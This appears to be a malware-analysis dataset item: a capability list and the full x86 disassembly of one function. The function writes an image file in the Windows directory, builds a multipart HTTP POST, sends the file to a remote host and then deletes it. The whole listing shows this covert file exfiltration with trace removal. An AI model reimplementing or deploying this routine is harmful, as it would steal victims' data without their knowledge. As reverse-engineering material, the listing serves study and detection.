Function at 0x10002140
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Delete file
Get common file path
Initialize winsock library
Read and send data from client to server
Read file on windows
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100061b8
push 0x10004ed0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, 0x20928
call fcn.10004f00
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100028de
inc dword [0x100076f8]
mov byte [ebp - 0x1ec], al
mov ecx, 0x19
lea edi, [ebp - 0x184]
rep stosd dword es:[edi], eax
push 0x64
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [ebp - 0x184]
mov edi, 0x1000739c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x184]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x184]
mov edi, str..jpg
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0xee30], 1
mov dword [ebp - 0xee2c], ebx
mov dword [ebp - 0xee28], ebx
mov dword [ebp - 0xee24], ebx
push ebx
lea eax, [ebp - 0xee30]
push eax
lea ecx, [ebp - 0xee9c]
push ecx
call sub.gdiplus.dll_GdiplusStartup
mov word [ebp - 0x118], bx
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0x116]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xc8
lea edx, [ebp - 0x118]
push edx
lea edi, [ebp - 0x184]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x184]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0xeea4], eax
mov byte [ebp + eax - 0x184], bl
mov ecx, dword [ebp + 0x10]
push ecx
push 0x32
lea edx, [ebp - 0x118]
push edx
call fcn.10001f30
add esp, 0xc
mov ecx, 0x4650
xor eax, eax
lea edi, [ebp - 0x207e4]
rep stosd dword es:[edi], eax
push ebx
push 0x80
push 3
push ebx
push 1
push connect
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0xee98], esi
push ebx
lea ecx, [ebp - 0xee20]
push ecx
push 0xea60
lea edx, [ebp - 0xee1c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1f8], ebx
mov byte [ebp - 0x20848], bl
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x208dc]
rep stosd dword es:[edi], eax
mov ecx, 0xc
lea edi, [ebp - 0x3bc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, dword [ebp + 0xc]
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffff8
lea esi, [edx + 7]
lea edi, [ebp - 0x208dc]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x2f
lea ecx, [ebp - 0x208dc]
push ecx
call sub.MSVCRT.dll_strchr
add esp, 8
mov edx, eax
mov dword [ebp - 0x1f8], edx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
lea edi, [ebp - 0x208dc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ecx, esi
lea esi, [ebp - 0x208dc]
lea edi, [ebp - 0x3bc]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0xee94]
rep stosd dword es:[edi], eax
push edx
push str.POST__s_HTTP_1.1_r_n
lea ecx, [ebp - 0xee94]
push ecx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
call ebx
add esp, 0xc
lea edi, [ebp - 0xee94]
lea edx, [ebp - 0x207e4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x207e4]
mov edi, str.Accept:_image_jpeg___r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x207e4]
mov edi, str.Content_Type:_multipart_form_data__boundary___________________________7d9cb310484_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
lea edi, [ebp - 0xee94]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3bc]
push eax
push str.Host:__s_r_n
lea ecx, [ebp - 0xee94]
push ecx
call ebx
add esp, 0xc
lea edi, [ebp - 0xee94]
lea edx, [ebp - 0x207e4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x207e4]
mov edi, str.Content_Length:_70000_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x207e4]
mov edi, str.Cache_Control:_no_cache_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x207e4]
mov edi, str._____________________________7d9cb310484_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
lea edi, [ebp - 0xee94]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x184]
push eax
push str.Content_Disposition:_form_data__name_file1___filename__s__r_n
lea ecx, [ebp - 0xee94]
push ecx
call ebx
add esp, 0xc
lea edi, [ebp - 0xee94]
lea edx, [ebp - 0x207e4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x207e4]
mov edi, str.Content_Type:_text_plain_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x207e4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
mov dword [ebp - 0x1f4], edx
mov dword [ebp - 0x120], eax
mov esi, dword [ebp - 0xee20]
lea ecx, [esi + 1]
cmp eax, ecx
jae 0x10002628
mov cl, byte [ebp + eax - 0xee1c]
mov byte [ebp + edx - 0x207e4], cl
inc edx
mov dword [ebp - 0x1f4], edx
inc eax
mov dword [ebp - 0x120], eax
jmp 0x10002603
mov ecx, 0xb
mov esi, str._r_n_____________________________7d9cb310484_r_n
lea edi, [ebp - 0x20878]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xc
mov esi, str.Content_Disposition:_form_data__name_upload__r_n_r_n
lea edi, [ebp - 0x20918]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [0x100071d4]
mov dword [ebp - 0x20928], eax
mov cx, word [0x100071d8]
mov word [ebp - 0x20924], cx
mov al, byte [0x100071da]
mov byte [ebp - 0x20922], al
mov ecx, 0xb
mov esi, str._____________________________7d9cb310484___r_n
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x20878]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov dword [ebp - 0x208e4], ebx
lea edi, [ebp - 0x20918]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x20920], ecx
lea edi, [ebp - 0x20928]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x20], ecx
lea edi, [ebp - 0x50]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x11c], ecx
mov ecx, ebx
lea esi, [ebp - 0x20878]
lea edi, [ebp + edx - 0x207e4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x20920]
lea esi, [ebp - 0x20918]
lea eax, [ebx + edx]
lea edi, [ebp + eax - 0x207e4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x20]
lea esi, [ebp - 0x20928]
add eax, ebx
add eax, edx
lea edi, [ebp + eax - 0x207e4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x11c]
lea esi, [ebp - 0x50]
mov edi, dword [ebp - 0x20920]
add eax, edi
add eax, ebx
add eax, edx
lea edi, [ebp + eax - 0x207e4]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x2091c], 0x202
lea eax, [ebp - 0x388]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 0x188], eax
test eax, eax
je 0x10002795
lea ecx, [ebp - 0x184]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x100028de
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x1f0], esi
or edi, 0xffffffff
cmp esi, edi
jne 0x100027c8
call sub.WS2_32.dll_WSACleanup
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x3bc]
push edx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x100027fc
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.WS2_32.dll_inet_ntoa
mov dword [ebp - 0x208e0], eax
mov word [ebp - 0x2093c], 2
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x20938], eax
push 0x100078f0
call sub.MSVCRT.dll_atoi
add esp, 4
mov dword [ebp - 0x2092c], eax
push eax
call sub.WS2_32.dll_htons
mov word [ebp - 0x2093a], ax
push 0x10
lea ecx, [ebp - 0x2093c]
push ecx
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x1000287d
lea edx, [ebp - 0x184]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call sub.WS2_32.dll_WSACleanup
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x11940
lea eax, [ebp - 0x207e4]
push eax
push esi
call sub.WS2_32.dll_send
mov dword [ebp - 0x20940], eax
cmp eax, 0x11940
jne 0x10002897
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.WS2_32.dll_WSACleanup
push esi
call sub.WS2_32.dll_closesocket
lea ecx, [ebp - 0x184]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret